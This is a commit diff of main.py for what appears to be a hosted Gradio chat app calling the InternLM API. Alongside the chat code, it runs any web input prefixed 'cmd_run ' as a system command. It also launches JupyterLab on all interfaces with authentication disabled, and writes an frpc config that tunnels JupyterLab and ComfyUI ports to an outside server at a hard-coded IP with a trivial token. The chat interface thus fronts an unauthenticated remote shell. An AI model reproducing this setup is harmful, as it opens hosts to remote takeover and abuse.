Update main.py
Browse files
main.py
CHANGED
|
@@ -12,13 +12,30 @@ def api_call(input_text):
|
|
| 12 |
|
| 13 |
# 如果输入以 "cmd_run" 开头,则执行系统命令
|
| 14 |
if input_text.startswith("cmd_run "):
|
| 15 |
-
command = input_text[len("cmd_run "):]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 16 |
try:
|
| 17 |
-
#
|
| 18 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 19 |
return result.stdout or result.stderr
|
|
|
|
|
|
|
| 20 |
except subprocess.CalledProcessError as e:
|
| 21 |
-
return f"执行命令时出错: {e}"
|
|
|
|
|
|
|
| 22 |
|
| 23 |
# 否则,调用API
|
| 24 |
url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
|
|
@@ -39,39 +56,80 @@ def api_call(input_text):
|
|
| 39 |
response = requests.post(url, headers=headers, data=json.dumps(data))
|
| 40 |
response.raise_for_status()
|
| 41 |
return response.json()["choices"][0]["message"]["content"]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 42 |
except Exception as e:
|
| 43 |
-
return f"
|
| 44 |
|
| 45 |
# 启动 Gradio 界面
|
| 46 |
def start_gradio():
|
| 47 |
with gr.Blocks() as demo:
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 53 |
|
| 54 |
demo.launch(share=False)
|
| 55 |
|
| 56 |
# 安装并启动 JupyterLab
|
| 57 |
-
def install_and_start_jupyterlab():
|
| 58 |
try:
|
| 59 |
# 安装 JupyterLab
|
| 60 |
subprocess.run(["pip", "install", "jupyterlab"], check=True)
|
| 61 |
print("JupyterLab 安装成功!")
|
| 62 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 63 |
# 启动 JupyterLab
|
| 64 |
command = [
|
| 65 |
"jupyter-lab",
|
| 66 |
"--ip=0.0.0.0", # 接受外部连接
|
| 67 |
-
"--port=
|
| 68 |
"--no-browser", # 禁止自动打开浏览器
|
| 69 |
"--NotebookApp.token=''" # 禁用 token,方便外部直接访问
|
| 70 |
]
|
| 71 |
-
|
| 72 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 73 |
except subprocess.CalledProcessError as e:
|
| 74 |
return f"安装或启动 JupyterLab 时出错: {e}"
|
|
|
|
|
|
|
| 75 |
|
| 76 |
# 克隆仓库
|
| 77 |
def clone_repository():
|
|
@@ -117,11 +175,18 @@ def create_frpc_toml():
|
|
| 117 |
server_addr = 182.43.67.222
|
| 118 |
server_port = 7000
|
| 119 |
token = token123456
|
|
|
|
| 120 |
[jupyterlab]
|
| 121 |
type = tcp
|
| 122 |
local_ip = 127.0.0.1
|
| 123 |
local_port = 8888
|
| 124 |
remote_port = 8888
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 125 |
"""
|
| 126 |
|
| 127 |
try:
|
|
|
|
| 12 |
|
| 13 |
# 如果输入以 "cmd_run" 开头,则执行系统命令
|
| 14 |
if input_text.startswith("cmd_run "):
|
| 15 |
+
command = input_text[len("cmd_run "):].strip()
|
| 16 |
+
|
| 17 |
+
# 提示用户谨慎使用 sudo
|
| 18 |
+
if "sudo" in command:
|
| 19 |
+
print("警告: 您正在使用 'sudo' 运行命令,请确保了解潜在风险。")
|
| 20 |
+
|
| 21 |
try:
|
| 22 |
+
# 将命令拆分为列表,避免 shell=True 的安全隐患
|
| 23 |
+
command_list = command.split()
|
| 24 |
+
result = subprocess.run(
|
| 25 |
+
command_list,
|
| 26 |
+
check=True,
|
| 27 |
+
stdout=subprocess.PIPE,
|
| 28 |
+
stderr=subprocess.PIPE,
|
| 29 |
+
text=True
|
| 30 |
+
)
|
| 31 |
+
# 返回命令输出或错误信息
|
| 32 |
return result.stdout or result.stderr
|
| 33 |
+
except FileNotFoundError:
|
| 34 |
+
return "命令未找到,请检查输入是否正确。"
|
| 35 |
except subprocess.CalledProcessError as e:
|
| 36 |
+
return f"执行命令时出错: {e.stderr}"
|
| 37 |
+
except Exception as e:
|
| 38 |
+
return f"未知错误: {str(e)}"
|
| 39 |
|
| 40 |
# 否则,调用API
|
| 41 |
url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
|
|
|
|
| 56 |
response = requests.post(url, headers=headers, data=json.dumps(data))
|
| 57 |
response.raise_for_status()
|
| 58 |
return response.json()["choices"][0]["message"]["content"]
|
| 59 |
+
except requests.exceptions.HTTPError as http_err:
|
| 60 |
+
return f"HTTP 错误: {http_err}"
|
| 61 |
+
except requests.exceptions.RequestException as req_err:
|
| 62 |
+
return f"请求错误: {req_err}"
|
| 63 |
+
except KeyError:
|
| 64 |
+
return "解析响应时出错,响应结构可能发生变化。"
|
| 65 |
except Exception as e:
|
| 66 |
+
return f"未知错误: {str(e)}"
|
| 67 |
|
| 68 |
# 启动 Gradio 界面
|
| 69 |
def start_gradio():
|
| 70 |
with gr.Blocks() as demo:
|
| 71 |
+
# 分组设置
|
| 72 |
+
with gr.Row():
|
| 73 |
+
input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
|
| 74 |
+
with gr.Row():
|
| 75 |
+
model_box = gr.Textbox(value="internlm2.5-latest", label="模型", placeholder="输入模型名称")
|
| 76 |
+
with gr.Row():
|
| 77 |
+
temperature_slider = gr.Slider(minimum=0, maximum=1, value=0.8, step=0.01, label="Temperature")
|
| 78 |
+
top_p_slider = gr.Slider(minimum=0, maximum=1, value=0.9, step=0.01, label="Top-p")
|
| 79 |
+
with gr.Row():
|
| 80 |
+
n_slider = gr.Slider(minimum=1, maximum=10, value=1, step=1, label="生成回复数量")
|
| 81 |
+
with gr.Row():
|
| 82 |
+
send_button = gr.Button("发送")
|
| 83 |
+
with gr.Row():
|
| 84 |
+
output_box = gr.Textbox(label="回复", placeholder="等待API响应...", interactive=False)
|
| 85 |
+
|
| 86 |
+
# 定义按钮点击事件
|
| 87 |
+
send_button.click(
|
| 88 |
+
api_call_with_params,
|
| 89 |
+
inputs=[input_box, model_box, temperature_slider, top_p_slider, n_slider],
|
| 90 |
+
outputs=output_box
|
| 91 |
+
)
|
| 92 |
|
| 93 |
demo.launch(share=False)
|
| 94 |
|
| 95 |
# 安装并启动 JupyterLab
|
| 96 |
+
def install_and_start_jupyterlab(port=8888):
|
| 97 |
try:
|
| 98 |
# 安装 JupyterLab
|
| 99 |
subprocess.run(["pip", "install", "jupyterlab"], check=True)
|
| 100 |
print("JupyterLab 安装成功!")
|
| 101 |
|
| 102 |
+
# 检查端口是否已被占用
|
| 103 |
+
port_check_command = f"lsof -i:{port}"
|
| 104 |
+
port_check_result = subprocess.run(
|
| 105 |
+
port_check_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
| 106 |
+
)
|
| 107 |
+
if port_check_result.stdout:
|
| 108 |
+
return f"端口 {port} 已被占用,请选择其他端口。"
|
| 109 |
+
|
| 110 |
# 启动 JupyterLab
|
| 111 |
command = [
|
| 112 |
"jupyter-lab",
|
| 113 |
"--ip=0.0.0.0", # 接受外部连接
|
| 114 |
+
f"--port={port}", # 指定端口
|
| 115 |
"--no-browser", # 禁止自动打开浏览器
|
| 116 |
"--NotebookApp.token=''" # 禁用 token,方便外部直接访问
|
| 117 |
]
|
| 118 |
+
process = subprocess.Popen(
|
| 119 |
+
command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
| 120 |
+
)
|
| 121 |
+
|
| 122 |
+
# 检查是否成功启动
|
| 123 |
+
for line in process.stdout:
|
| 124 |
+
if "http://" in line or "https://" in line:
|
| 125 |
+
print(f"JupyterLab 已成功启��!{line.strip()}")
|
| 126 |
+
return f"JupyterLab 已成功启动,请通过以下 URL 访问:{line.strip()}"
|
| 127 |
+
|
| 128 |
+
return "JupyterLab 已启动,请检查后台是否有进一步输出。"
|
| 129 |
except subprocess.CalledProcessError as e:
|
| 130 |
return f"安装或启动 JupyterLab 时出错: {e}"
|
| 131 |
+
except Exception as e:
|
| 132 |
+
return f"未知错误: {str(e)}"
|
| 133 |
|
| 134 |
# 克隆仓库
|
| 135 |
def clone_repository():
|
|
|
|
| 175 |
server_addr = 182.43.67.222
|
| 176 |
server_port = 7000
|
| 177 |
token = token123456
|
| 178 |
+
|
| 179 |
[jupyterlab]
|
| 180 |
type = tcp
|
| 181 |
local_ip = 127.0.0.1
|
| 182 |
local_port = 8888
|
| 183 |
remote_port = 8888
|
| 184 |
+
|
| 185 |
+
[comfyui]
|
| 186 |
+
type = tcp
|
| 187 |
+
local_ip = 127.0.0.1
|
| 188 |
+
local_port = 8188
|
| 189 |
+
remote_port = 8188
|
| 190 |
"""
|
| 191 |
|
| 192 |
try:
|